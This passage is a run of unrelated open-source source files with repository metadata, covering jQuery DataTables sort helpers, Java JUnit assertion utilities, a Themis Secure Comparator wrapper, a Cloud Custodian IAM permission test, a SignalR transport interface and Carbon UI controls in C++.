""); /* Remove the currency sign */ if (x.charAt(0) == '$') { x = x.substring(1); } if (y.charAt(0) == '$') { y = y.substring(1); } /* Parse and return */ x = parseFloat(x); y = parseFloat(y); x = isNaN(x) ? 0 : x; y = isNaN(y) ? 0 : y; return y - x; }; /** * retrieve column values for sorting a column marked with sSortDataType:dom-text in aoColumns * * @param oSettings - an object provided by datatables containing table information and configuration * @param iColumn - the column whose values are to be retrieved * @return an array of column values - extracted from any surrounding markup */ jQuery.fn.dataTableExt.afnSortData['dom-text'] = function (oSettings, iColumn, iVisColumn) { var aData = []; jQuery(oSettings.oApi._fnGetTrNodes(oSettings)).each(function () { var td = jQuery('>td:eq(' + iVisColumn + '):first', this); var input = jQuery(td).find('input:text'); var value = ""; if (input.length != 0) { value = input.val(); } else { // check for linkField var linkField = jQuery(td).find('.uif-linkField'); if (linkField.length != 0) { value = linkField.text().trim(); } else { // find span for the data or input field and get its text var inputField = jQuery(td).find('.uif-field'); if (inputField.length != 0) { value = jQuery.trim(inputField.text()); } else { // just use the text within the cell value = jQuery(td).text().trim(); // strip leading $ if present if (value.charAt(0) == '$') { value = value.substring(1); } } } } var additionalDisplaySeparatorIndex = value.indexOf("*-*"); if (additionalDisplaySeparatorIndex != -1) { value = value.substring(0, additionalDisplaySeparatorIndex).trim(); } aData.push(value); }); return aData; } /** * retrieve column values for sorting a column marked with sSortDataType:dom-select in aoColumns * * <p>Create an array with the values of all the select options in a column</p> * * @param oSettings - an object provided by datatables containing table information and configuration * @param iColumn - the column whose values are to be retrieved * @return an array of column values - extracted from any surrounding markup */ jQuery.fn.dataTableExt.afnSortData['dom-select'] = function (oSettings, iColumn, iVisColumn) { var aData = []; jQuery(oSettings.oApi._fnGetTrNodes(oSettings)).each(function () { var td = jQuery('>td:eq(' + iVisColumn + '):first', this); var selected = jQuery(td).find('select option:selected:first'); if (selected.length != 0) { aData.push(selected.text()); } else { var input1 = jQuery(td).find("[data-role='InputField']"); if (input1.length != 0) { aData.push(jQuery.trim(input1.text())); } else { aData.push(""); } } }); return aData; } /** * retrieve column values for sorting a column marked with sSortDataType:dom-checkbox in aoColumns * * <p>Create an array with the values of all the checkboxes in a column</p> * * @param oSettings - an object provided by datatables containing table information and configuration * @param iColumn - the column whose values are to be retrieved * @return an array of column values - extracted from any surrounding markup */ jQuery.fn.dataTableExt.afnSortData['dom-checkbox'] = function (oSettings, iColumn, iVisColumn) { var aData = []; jQuery(oSettings.oApi._fnGetTrNodes(oSettings)).each(function () { var td = jQuery('>td:eq(' + iVisColumn + '):first', this); var checkboxes = jQuery(td).find('input:checkbox'); if (checkboxes.length != 0) { var str = ""; for (i = 0; i < checkboxes.length; i++) { var check = checkboxes[i]; if (check.checked == true && check.value.length > 0) { str += check.value + " "; } } aData.push(str); } else { var input1 = jQuery(td).find("[data-role='InputField']"); if (input1.length != 0) { aData.push(jQuery.trim(input1.text())); } else { aData.push(""); } } }); return aData; } /** * retrieve column values for sorting a column marked with sSortDataType:dom-radio in aoColumns * * <p>Create an array with the values of all the radio buttons in a column</p> * * @param oSettings - an object provided by datatables containing table information and configuration * @param iColumn - the column whose values are to be retrieved * @return an array of column values - extracted from any surrounding markup */ jQuery.fn.dataTableExt.afnSortData['dom-radio'] = function (oSettings, iColumn, iVisColumn) { var aData = []; jQuery(oSettings.oApi._fnGetTrNodes(oSettings)).each(function () { var td = jQuery('>td:eq(' + iVisColumn + '):first', this); var radioButtons = jQuery(td).find('input:radio'); if (radioButtons.length != 0) { var value = ""; for (i = 0; i < radioButtons.length; i++) { var radio = radioButtons[i]; if (radio.checked == true) { value = radio.value; break; } } aData.push(value); } else { var input1 = jQuery(td).find("[data-role='InputField']"); if (input1.length != 0) { aData.push(jQuery.trim(input1.text())); } else { aData.push(""); } } }); return aData; } // setup window javascript error handler window.onerror = errorHandler; function errorHandler(msg, url, lno) { jQuery("#" + kradVariables.APP_ID).show(); jQuery("[data-role='Page']").show(); var context = getContext(); context.unblockUI(); var errorMessage = msg + '<br/>' + url + '<br/>' + lno; showGrowl(errorMessage, 'Javascript Error', 'errorGrowl'); if (window.console) { console.log(errorMessage); } return false; } // script that should execute when the page unloads // jQuery(window).bind('beforeunload', function (evt) { // clear server form if closing the browser tab/window or going back // TODO: work out back button problem so we can add this clearing // if (!event.pageY || (event.pageY < 0)) { // clearServerSideForm(); // } //});
mztaylor/rice-git
rice-framework/krad-web/src/main/webapp/krad/scripts/krad.initialize.js
JavaScript
apache-2.0
59,690
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.testing.junit4; import junit.framework.Assert; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Iterator; import java.util.regex.MatchResult; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Contains additional assertion methods not found in JUnit. * * @author kevinb */ public final class JUnitAsserts { private JUnitAsserts() { } /** * Asserts that {@code actual} is not equal {@code unexpected}, according * to both {@code ==} and {@link Object#equals}. */ public static void assertNotEqual( String message, Object unexpected, Object actual) { if (equal(unexpected, actual)) { failEqual(message, unexpected); } } /** * Variant of {@link #assertNotEqual(String,Object,Object)} using a * generic message. */ public static void assertNotEqual(Object unexpected, Object actual) { assertNotEqual(null, unexpected, actual); } /** * Asserts that {@code expectedRegex} exactly matches {@code actual} and * fails with {@code message} if it does not. The MatchResult is returned * in case the test needs access to any captured groups. Note that you can * also use this for a literal string, by wrapping your expected string in * {@link Pattern#quote}. */ public static MatchResult assertMatchesRegex( String message, String expectedRegex, String actual) { if (actual == null) { failNotMatches(message, expectedRegex, null); } Matcher matcher = getMatcher(expectedRegex, actual); if (!matcher.matches()) { failNotMatches(message, expectedRegex, actual); } return matcher; } /** * Variant of {@link #assertMatchesRegex(String,String,String)} using a * generic message. */ public static MatchResult assertMatchesRegex( String expectedRegex, String actual) { return assertMatchesRegex(null, expectedRegex, actual); } /** * Asserts that {@code expectedRegex} matches any substring of {@code actual} * and fails with {@code message} if it does not. The Matcher is returned in * case the test needs access to any captured groups. Note that you can also * use this for a literal string, by wrapping your expected string in * {@link Pattern#quote}. */ public static MatchResult assertContainsRegex( String message, String expectedRegex, String actual) { if (actual == null) { failNotContainsRegex(message, expectedRegex, null); } Matcher matcher = getMatcher(expectedRegex, actual); if (!matcher.find()) { failNotContainsRegex(message, expectedRegex, actual); } return matcher; } /** * Variant of {@link #assertContainsRegex(String,String,String)} using a * generic message. */ public static MatchResult assertContainsRegex( String expectedRegex, String actual) { return assertContainsRegex(null, expectedRegex, actual); } /** * Asserts that {@code unexpectedRegex} does not exactly match {@code actual}, * and fails with {@code message} if it does. Note that you can also use * this for a literal string, by wrapping your expected string in * {@link Pattern#quote}. */ public static void assertNotMatchesRegex( String message, String unexpectedRegex, String actual) { Matcher matcher = getMatcher(unexpectedRegex, actual); if (matcher.matches()) { failMatch(message, unexpectedRegex, actual); } } /** * Variant of {@link #assertNotMatchesRegex(String,String,String)} using a * generic message. */ public static void assertNotMatchesRegex( String unexpectedRegex, String actual) { assertNotMatchesRegex(null, unexpectedRegex, actual); } /** * Asserts that {@code unexpectedRegex} does not match any substring of * {@code actual}, and fails with {@code message} if it does. Note that you * can also use this for a literal string, by wrapping your expected string * in {@link Pattern#quote}. */ public static void assertNotContainsRegex( String message, String unexpectedRegex, String actual) { Matcher matcher = getMatcher(unexpectedRegex, actual); if (matcher.find()) { failContainsRegex(message, unexpectedRegex, actual); } } /** * Variant of {@link #assertNotContainsRegex(String,String,String)} using a * generic message. */ public static void assertNotContainsRegex( String unexpectedRegex, String actual) { assertNotContainsRegex(null, unexpectedRegex, actual); } /** * Asserts that {@code actual} contains precisely the elements * {@code expected}, and in the same order. */ public static void assertContentsInOrder( String message, Iterable<?> actual, Object... expected) { Assert.assertEquals(message, Arrays.asList(expected), newArrayList(actual)); } /** * Variant of {@link #assertContentsInOrder(String,Iterable,Object...)} * using a generic message. */ public static void assertContentsInOrder( Iterable<?> actual, Object... expected) { assertContentsInOrder((String) null, actual, expected); } private static Matcher getMatcher(String expectedRegex, String actual) { Pattern pattern = Pattern.compile(expectedRegex); return pattern.matcher(actual); } private static void failEqual(String message, Object unexpected) { failWithMessage(message, "expected not to be:<" + unexpected + ">"); } private static void failNotMatches( String message, String expectedRegex, String actual) { String actualDesc = (actual == null) ? "null" : ('<' + actual + '>'); failWithMessage(message, "expected to match regex:<" + expectedRegex + "> but was:" + actualDesc); } private static void failNotContainsRegex( String message, String expectedRegex, String actual) { String actualDesc = (actual == null) ? "null" : ('<' + actual + '>'); failWithMessage(message, "expected to contain regex:<" + expectedRegex + "> but was:" + actualDesc); } private static void failMatch( String message, String expectedRegex, String actual) { failWithMessage(message, "expected not to match regex:<" + expectedRegex + "> but was:<" + actual + '>'); } private static void failContainsRegex( String message, String expectedRegex, String actual) { failWithMessage(message, "expected not to contain regex:<" + expectedRegex + "> but was:<" + actual + '>'); } private static void failWithMessage(String userMessage, String ourMessage) { Assert.fail((userMessage == null) ? ourMessage : userMessage + ' ' + ourMessage); } private static boolean equal(Object a, Object b) { return a == b || (a != null && a.equals(b)); } /** * Copied from Google collections to avoid (for now) depending on it (until * we really need it). */ private static <E> ArrayList<E> newArrayList(Iterable<? extends E> elements) { // Let ArrayList's sizing logic work, if possible if (elements instanceof Collection) { @SuppressWarnings("unchecked") Collection<? extends E> collection = (Collection<? extends E>) elements; return new ArrayList<E>(collection); } else { Iterator<? extends E> elements1 = elements.iterator(); ArrayList<E> list = new ArrayList<E>(); while (elements1.hasNext()) { list.add(elements1.next()); } return list; } } }
zorzella/test-libraries-for-java
src/main/java/com/google/common/testing/junit4/JUnitAsserts.java
Java
apache-2.0
8,069
// Copyright (c) 2019 Cossack Labs Limited // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @file * Themis Secure Comparator. */ import context from "./context"; import { ThemisError, ThemisErrorCode } from "./themis_error"; import { coerceToBytes, heapFree, heapGetArray, heapPutArray, heapAlloc, } from "./utils"; const cryptosystem_name = "SecureComparator"; export class SecureComparator { private haveSecret: boolean; private comparatorPtr: number | null; constructor() { this.haveSecret = false; this.comparatorPtr = context.libthemis!!._secure_comparator_create(); if (!this.comparatorPtr) { throw new ThemisError( cryptosystem_name, ThemisErrorCode.NO_MEMORY, "failed to allocate Secure Comparator" ); } for (var i = 0; i < arguments.length; i++) { this.append(arguments[i]); } } // Unfortunately, JavsScript does not have a ubiquitious way to handle // scoped objects and does not specify any object finalization. Thus // it is VERY important to call destroy() on SecureComparators after // using them in order to avoid exhausting Emscripten heap memory. destroy() { let status = context.libthemis!!._secure_comparator_destroy( this.comparatorPtr!! ); if (status != ThemisErrorCode.SUCCESS) { throw new ThemisError( cryptosystem_name, status, "failed to destroy Secure Comparator" ); } this.comparatorPtr = null; } append(secret: Uint8Array) { secret = coerceToBytes(secret); if (secret.length == 0) { throw new ThemisError( cryptosystem_name, ThemisErrorCode.INVALID_PARAMETER, "secret must be not empty" ); } let secret_ptr; try { secret_ptr = heapAlloc(secret.length); if (!secret_ptr) { throw new ThemisError(cryptosystem_name, ThemisErrorCode.NO_MEMORY); } heapPutArray(secret, secret_ptr); let status = context.libthemis!!._secure_comparator_append_secret( this.comparatorPtr!!, secret_ptr, secret.length ); if (status != ThemisErrorCode.SUCCESS) { throw new ThemisError(cryptosystem_name, status); } } finally { heapFree(secret_ptr, secret.length); } this.haveSecret = true; } complete() { let status = context.libthemis!!._secure_comparator_get_result( this.comparatorPtr!! ); return status != ThemisErrorCode.SCOMPARE_NOT_READY; } compareEqual() { let status = context.libthemis!!._secure_comparator_get_result( this.comparatorPtr!! ); if (status == ThemisErrorCode.SCOMPARE_MATCH) { return true; } if (status == ThemisErrorCode.SCOMPARE_NO_MATCH) { return false; } throw new ThemisError(cryptosystem_name, status); } begin() { if (!this.haveSecret) { throw new ThemisError( cryptosystem_name, ThemisErrorCode.INVALID_PARAMETER, "secret must be not empty" ); } let status; /// C API uses "size_t" for lengths, it's defined as "i32" in Emscripten let message_length_ptr = context.libthemis!!.allocate( new ArrayBuffer(4), context.libthemis!!.ALLOC_STACK ); let message_ptr, message_length; try { status = context.libthemis!!._secure_comparator_begin_compare( this.comparatorPtr!!, null, message_length_ptr ); if (status != ThemisErrorCode.BUFFER_TOO_SMALL) { throw new ThemisError(cryptosystem_name, status); } message_length = context.libthemis!!.getValue(message_length_ptr, "i32"); message_ptr = heapAlloc(message_length); if (!message_ptr) { throw new ThemisError(cryptosystem_name, ThemisErrorCode.NO_MEMORY); } status = context.libthemis!!._secure_comparator_begin_compare( this.comparatorPtr!!, message_ptr, message_length_ptr ); if (status != ThemisErrorCode.SCOMPARE_SEND_OUTPUT_TO_PEER) { throw new ThemisError(cryptosystem_name, status); } message_length = context.libthemis!!.getValue(message_length_ptr, "i32"); return heapGetArray(message_ptr, message_length); } finally { heapFree(message_ptr, message_length); } } proceed(request: Uint8Array) { request = coerceToBytes(request); let status; /// C API uses "size_t" for lengths, it's defined as "i32" in Emscripten let reply_length_ptr = context.libthemis!!.allocate( new ArrayBuffer(4), context.libthemis!!.ALLOC_STACK ); let request_ptr, reply_ptr, reply_length; try { request_ptr = heapAlloc(request.length); if (!request_ptr) { throw new ThemisError(cryptosystem_name, ThemisErrorCode.NO_MEMORY); } heapPutArray(request, request_ptr); status = context.libthemis!!._secure_comparator_proceed_compare( this.comparatorPtr!!, request_ptr, request.length, null, reply_length_ptr ); if (status != ThemisErrorCode.BUFFER_TOO_SMALL) { throw new ThemisError(cryptosystem_name, status); } reply_length = context.libthemis!!.getValue(reply_length_ptr, "i32"); reply_ptr = heapAlloc(reply_length); if (!reply_ptr) { throw new ThemisError(cryptosystem_name, ThemisErrorCode.NO_MEMORY); } status = context.libthemis!!._secure_comparator_proceed_compare( this.comparatorPtr!!, request_ptr, request.length, reply_ptr, reply_length_ptr ); if ( status != ThemisErrorCode.SCOMPARE_SEND_OUTPUT_TO_PEER && status != ThemisErrorCode.SUCCESS ) { throw new ThemisError(cryptosystem_name, status); } reply_length = context.libthemis!!.getValue(reply_length_ptr, "i32"); return heapGetArray(reply_ptr, reply_length); } finally { heapFree(request_ptr, request.length); heapFree(reply_ptr, reply_length); } } }
cossacklabs/themis
src/wrappers/themis/wasm/src/secure_comparator.ts
TypeScript
apache-2.0
6,570
# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from .common import BaseTest, load_data from c7n.config import Config, Bag from c7n import manager import fnmatch class TestIamGen(BaseTest): def check_permissions(self, perm_db, perm_set, path): invalid = [] for p in perm_set: if ':' not in p: invalid.append(p) continue s, a = p.split(':', 1) if s not in perm_db: invalid.append(p) continue if '*' in a: if not fnmatch.filter(perm_db[s], a): invalid.append(p) continue elif a not in perm_db[s]: invalid.append(p) if not invalid: return [] return [(path, invalid)] def test_iam_permissions_validity(self): cfg = Config.empty() missing = set() all_invalid = [] perms = load_data('iam-actions.json') for k, v in manager.resources.items(): p = Bag({'name': 'permcheck', 'resource': k, 'provider_name': 'aws'}) ctx = self.get_context(config=cfg, policy=p) mgr = v(ctx, p) invalid = [] # if getattr(mgr, 'permissions', None): # print(mgr) found = False for s in (mgr.resource_type.service, getattr(mgr.resource_type, 'permission_prefix', None)): if s in perms: found = True if not found: missing.add("%s->%s" % (k, mgr.resource_type.service)) continue invalid.extend(self.check_permissions(perms, mgr.get_permissions(), k)) for n, a in v.action_registry.items(): p['actions'] = [n] invalid.extend( self.check_permissions( perms, a({}, mgr).get_permissions(), "{k}.actions.{n}".format(k=k, n=n))) for n, f in v.filter_registry.items(): if n in ('or', 'and', 'not', 'missing'): continue p['filters'] = [n] invalid.extend( self.check_permissions( perms, f({}, mgr).get_permissions(), "{k}.filters.{n}".format(k=k, n=n))) if invalid: for k, perm_set in invalid: perm_set = [i for i in perm_set if not i.startswith('elasticloadbalancing')] if perm_set: all_invalid.append((k, perm_set)) if missing: raise ValueError( "resources missing service %s" % ('\n'.join(sorted(missing)))) if all_invalid: raise ValueError( "invalid permissions \n %s" % ('\n'.join(sorted(map(str, all_invalid)))))
kapilt/cloud-custodian
tests/test_iamgen.py
Python
apache-2.0
3,515
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Threading.Tasks; using Microsoft.AspNet.SignalR.Infrastructure; using Microsoft.AspNet.SignalR.Hosting; using System.Diagnostics.CodeAnalysis; namespace Microsoft.AspNet.SignalR.Transports { /// <summary> /// Represents a transport that communicates /// </summary> public interface ITransport { /// <summary> /// Gets or sets a callback that is invoked when the transport receives data. /// </summary> Func<string, Task> Received { get; set; } /// <summary> /// Gets or sets a callback that is invoked when the initial connection connects to the transport. /// </summary> Func<Task> Connected { get; set; } /// <summary> /// Gets or sets a callback that is invoked when the transport reconnects. /// </summary> Func<Task> Reconnected { get; set; } /// <summary> /// Gets or sets a callback that is invoked when the transport disconnects. /// </summary> Func<bool, Task> Disconnected { get; set; } /// <summary> /// Gets or sets the connection id for the transport. /// </summary> string ConnectionId { get; set; } /// <summary> /// Get groupsToken in request over the transport. /// </summary> /// <returns>groupsToken in request</returns> [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate", Justification = "This is for async.")] Task<string> GetGroupsToken(); /// <summary> /// Processes the specified <see cref="ITransportConnection"/> for this transport. /// </summary> /// <param name="connection">The <see cref="ITransportConnection"/> to process.</param> /// <returns>A <see cref="Task"/> that completes when the transport has finished processing the connection.</returns> Task ProcessRequest(ITransportConnection connection); /// <summary> /// Sends data over the transport. /// </summary> /// <param name="value">The value to be sent.</param> /// <returns>A <see cref="Task"/> that completes when the send is complete.</returns> Task Send(object value); } }
BuildMaestro/BuildMaestro
src/Microsoft.AspNet.SignalR.Server/Transports/ITransport.cs
C#
apache-2.0
2,458
// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not // use this file except in compliance with the License. You may obtain a copy // of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations under // the License. #include "Diadem/NativeCarbon.h" #include <algorithm> #include "Diadem/Factory.h" #include "Diadem/Layout.h" namespace { CFStringRef CFStringFromString(const Diadem::String &dstring) { return ::CFStringCreateWithCString( kCFAllocatorDefault, dstring.Get(), kCFStringEncodingUTF8); } // namespace Diadem::String StringFromCFString(CFStringRef cf_string) { const CFIndex length = ::CFStringGetBytes( cf_string, CFRangeMake(0, ::CFStringGetLength(cf_string)), kCFStringEncodingUTF8, '.', false, NULL, 0, NULL); if (length == 0) return Diadem::String(); char *buffer = new char[length+1]; ::CFStringGetBytes( cf_string, CFRangeMake(0, ::CFStringGetLength(cf_string)), kCFStringEncodingUTF8, '.', false, reinterpret_cast<UInt8*>(buffer), length, NULL); buffer[length] = '\0'; return Diadem::String(buffer, Diadem::String::kAdoptBuffer); } enum RetainAction { kDontRetain, kDoRetain }; template <class T> class ScopedCFType { public: ScopedCFType() : ref_(NULL) {} ScopedCFType(T ref, RetainAction action) : ref_(ref) { if (action == kDoRetain) ::CFRetain(ref_); } ~ScopedCFType() { if (ref_ != NULL) ::CFRelease(ref_); } void Set(T ref, RetainAction action) { if (ref_ != NULL) ::CFRelease(ref_); ref_ = ref; if (action == kDoRetain) ::CFRetain(ref_); } T* RetainedOutPtr() { if (ref_ != NULL) { ::CFRelease(ref_); ref_ = NULL; } return &ref_; } operator T() const { return ref_; } protected: T ref_; }; } // namespace namespace Diadem { PlatformMetrics Carbon::NativeCarbon::metrics_ = { 14, 17, 18, Spacing(12, 6, 12, 6) }; void Carbon::SetUpFactory(Factory *factory) { DASSERT(factory != NULL); factory->RegisterNative<Label>(kTypeNameLabel); factory->RegisterNative<Window>(kTypeNameWindow); factory->RegisterNative<Button>(kTypeNameButton); factory->RegisterNative<Checkbox>(kTypeNameCheck); factory->RegisterNative<EditField>(kTypeNameEdit); factory->RegisterNative<Separator>(kTypeNameSeparator); } void Carbon::Window::InitializeProperties(const PropertyMap &properties) { const Rect default_bounds = { 40, 0, 50, 50 }; OSStatus err; err = ::CreateNewWindow( kMovableModalWindowClass, kWindowAsyncDragAttribute | kWindowStandardHandlerAttribute | kWindowCompositingAttribute, &default_bounds, &window_ref_); if ((err == noErr) && (window_ref_ != NULL)) { if (properties.Exists(kPropText)) { const String title_string = properties[kPropText].Coerce<String>(); ScopedCFType<CFStringRef> cf_title( CFStringFromString(title_string), kDontRetain); ::SetWindowTitleWithCFString(window_ref_, cf_title); } } } Carbon::Window::~Window() { if (window_ref_ != NULL) ::CFRelease(window_ref_); } bool Carbon::Window::SetProperty(PropertyName name, const Value &value) { if (window_ref_ == NULL) return false; if (strcmp(name, kPropText) == 0) { ScopedCFType<CFStringRef> title( CFStringFromString(value.Coerce<String>()), kDontRetain); ::SetWindowTitleWithCFString(window_ref_, title); return true; } if (strcmp(name, kPropSize) == 0) { const Size size = value.Coerce<Size>(); Rect bounds; ::GetWindowBounds(window_ref_, kWindowContentRgn, &bounds); bounds.right = bounds.left + size.width; bounds.bottom = bounds.top + size.height; ::SetWindowBounds(window_ref_, kWindowContentRgn, &bounds); // TODO(catmull): reposition? return true; } return false; } Value Carbon::Window::GetProperty(PropertyName name) const { if (window_ref_ == NULL) return false; if (strcmp(name, kPropText) == 0) { ScopedCFType<CFStringRef> title; ::CopyWindowTitleAsCFString(window_ref_, title.RetainedOutPtr()); return StringFromCFString(title); } if (strcmp(name, kPropSize) == 0) { Rect bounds; ::GetWindowBounds(window_ref_, kWindowContentRgn, &bounds); return Size(bounds.right-bounds.left, bounds.bottom-bounds.top); } if (strcmp(name, kPropMargins) == 0) { return Value(Spacing(14, 20, 20, 20)); } return Value(); } void Carbon::Window::AddChild(Native *child) { if (!::HIViewIsValid((HIViewRef)child->GetNativeRef())) return; HIViewRef content_view = NULL; ::HIViewFindByID( ::HIViewGetRoot(window_ref_), kHIViewWindowContentID, &content_view); if (content_view != NULL) ::HIViewAddSubview(content_view, (HIViewRef)child->GetNativeRef()); } bool Carbon::Window::ShowModeless() { if (window_ref_ == NULL) return false; ::SelectWindow(window_ref_); ::ShowWindow(window_ref_); return true; } bool Carbon::Window::Close() { if (window_ref_ == NULL) return false; ::HideWindow(window_ref_); return true; } bool Carbon::Window::ShowModal(void *on_parent) { if (window_ref_ == NULL) return false; // TODO(catmull): defer to main thread WindowPtr parent = ::GetFrontWindowOfClass(kDocumentWindowClass, true); WindowPositionMethod window_position; if (parent == NULL) parent = ::GetFrontWindowOfClass(kMovableModalWindowClass, true); if (parent != NULL) { // We use alert position in both cases because that's actually the // preferred location for new windows in the HIG. In the case where it // has been marked as an alert and has a parent window, we assume it's // strongly associated with that window (i.e., it would be a sheet if // not for our modality needs), so we give it window alert position. window_position = is_alert_ ? kWindowAlertPositionOnParentWindow : kWindowAlertPositionOnParentWindowScreen; } else { window_position = kWindowAlertPositionOnMainScreen; } ::RepositionWindow(window_ref_, parent, window_position); ::SetThemeCursor(kThemeArrowCursor); ::ShowWindow(window_ref_); ::SelectWindow(window_ref_); ::RunAppModalLoopForWindow(window_ref_); return true; } bool Carbon::Window::EndModal() { if (window_ref_ == NULL) return false; // TODO(catmull): defer to main thread // TODO(catmull): maybe check window modality for good measure ::QuitAppModalLoopForWindow(window_ref_); ::HideWindow(window_ref_); return true; } bool Carbon::Window::SetFocus(Entity *new_focus) { if ((window_ref_ == NULL) || (new_focus == NULL) || (new_focus->GetNative() == NULL) || (new_focus->GetNative()->GetNativeRef() == NULL)) return false; if (!::IsValidControlHandle((HIViewRef) new_focus->GetNative()->GetNativeRef())) return false; ::SetKeyboardFocus( window_ref_, (HIViewRef)new_focus->GetNative()->GetNativeRef(), kControlFocusNextPart); return true; } Carbon::Control::~Control() { if (view_ref_ != NULL) ::CFRelease(view_ref_); } bool Carbon::Control::SetProperty(PropertyName name, const Value &value) { if (view_ref_ == NULL) return false; if (strcmp(name, kPropLocation) == 0) { const Location loc = value.Coerce<Location>() + GetViewOffset(); ::HIViewPlaceInSuperviewAt(view_ref_, loc.x, loc.y); return true; } if (strcmp(name, kPropSize) == 0) { const Size size = value.Coerce<Size>() + GetInset(); HIRect frame; ::HIViewGetFrame(view_ref_, &frame); frame.size.width = size.width; frame.size.height = size.height; ::HIViewSetFrame(view_ref_, &frame); return true; } if (strcmp(name, kPropText) == 0) { ScopedCFType<CFStringRef> cf_text( CFStringFromString(value.Coerce<String>()), kDontRetain); return ::HIViewSetText(view_ref_, cf_text) == noErr; } if (strcmp(name, kPropVisible) == 0) { ::HIViewSetVisible(view_ref_, value.Coerce<bool>()); } return false; } Value Carbon::Control::GetProperty(PropertyName name) const { if (view_ref_ == NULL) return Value(); if (strcmp(name, kPropText) == 0) { ScopedCFType<CFStringRef> cf_text(::HIViewCopyText(view_ref_), kDontRetain); return StringFromCFString(cf_text); } if (strcmp(name, kPropMinimumSize) == 0) { HIRect bounds; ::HIViewGetOptimalBounds(view_ref_, &bounds, NULL); return Size(bounds.size.width, bounds.size.height) - GetInset(); } if (strcmp(name, kPropLocation) == 0) { HIRect frame; ::HIViewGetFrame(view_ref_, &frame); return Location(frame.origin.x, frame.origin.y) - GetViewOffset(); } if (strcmp(name, kPropSize) == 0) { return GetSize() - GetInset(); } if (strcmp(name, kPropVisible) == 0) { return (bool)::HIViewIsVisible(view_ref_); } return Value(); } Size Carbon::Control::GetSize() const { HIRect frame; ::HIViewGetFrame(view_ref_, &frame); return Size(frame.size.width, frame.size.height); } void Carbon::Button::InitializeProperties(const PropertyMap &properties) { ScopedCFType<CFStringRef> title; if (properties.Exists(kPropText)) title.Set( CFStringFromString(properties[kPropText].Coerce<String>()), kDontRetain); const Rect default_bounds = { 0, 0, 20, 50 }; ::CreatePushButtonControl(NULL, &default_bounds, title, &view_ref_); } bool Carbon::Button::SetProperty(PropertyName name, const Value &value) { return Control::SetProperty(name, value); } Value Carbon::Button::GetProperty(PropertyName name) const { if (strcmp(name, kPropPadding) == 0) { return Spacing(12, 12, 12, 12); } return Control::GetProperty(name); } void Carbon::Checkbox::InitializeProperties(const PropertyMap &properties) { ScopedCFType<CFStringRef> title; if (properties.Exists(kPropText)) title.Set( CFStringFromString(properties[kPropText].Coerce<String>()), kDontRetain); const Rect default_bounds = { 0, 0, 20, 50 }; ::CreateCheckBoxControl(NULL, &default_bounds, title, 0, true, &view_ref_); } void Carbon::Label::InitializeProperties(const PropertyMap &properties) { ScopedCFType<CFStringRef> title; if (properties.Exists(kPropText)) title.Set( CFStringFromString(properties[kPropText].Coerce<String>()), kDontRetain); const Rect default_bounds = { 0, 0, 20, 50 }; ::CreateStaticTextControl(NULL, &default_bounds, title, NULL, &view_ref_); } Value Carbon::Label::GetProperty(PropertyName name) const { if (strcmp(name, kPropPadding) == 0) { return Spacing(8, 8, 8, 8); } if (strcmp(name, kPropMinimumSize) == 0) { float wrap_width = 0; bool variable = false; #if 0 // TODO(catmull): variable height GetControlProperty(view_ref_, kFenSig, 'VHgt', variable); if (variable) wrap_width = GetSize().width; #endif ControlSize size = kControlSizeNormal; ThemeFontID font_ID = kThemeSystemFont; ::GetControlData( view_ref_, kControlEntireControl, kControlSizeTag, sizeof(size), &size, NULL); switch (size) { case kControlSizeSmall: font_ID = kThemeSmallSystemFont; break; case kControlSizeMini: font_ID = kThemeMiniSystemFont; break; } // HIViewGetOptimalBounds for static text only adjusts the height, // so we calculate the text width manually HIThemeTextInfo info = { 0, kThemeStateActive, font_ID, kHIThemeTextHorizontalFlushLeft, kHIThemeTextVerticalFlushTop, 0, kHIThemeTextTruncationNone, 0, false }; CFStringRef title = ::HIViewCopyText(view_ref_); float width, height; ::HIThemeGetTextDimensions(title, wrap_width, &info, &width, &height, NULL); ::CFRelease(title); return Size(width, variable ? std::max(height, 16.0f) : GetSize().height); } return Control::GetProperty(name); } void Carbon::EditField::InitializeProperties(const PropertyMap &properties) { ScopedCFType<CFStringRef> title; if (properties.Exists(kPropText)) title.Set( CFStringFromString(properties[kPropText].Coerce<String>()), kDontRetain); const Rect default_bounds = { 0, 0, 20, 50 }; ::CreateEditUnicodeTextControl( NULL, &default_bounds, title, false, NULL, &view_ref_); } void Carbon::Separator::InitializeProperties(const PropertyMap &properties) { const Rect default_bounds = { 0, 0, 2, 50 }; ::CreateSeparatorControl(NULL, &default_bounds, &view_ref_); } void Carbon::Separator::Finalize() { Layout *layout = entity_->GetLayout(); if (layout == NULL) return; if (layout->GetDirection() == Layout::kLayoutRow) layout->SetVSizeOption(kSizeFill); else // kLayoutColumn layout->SetHSizeOption(kSizeFill); } Value Carbon::Separator::GetProperty(PropertyName name) const { if 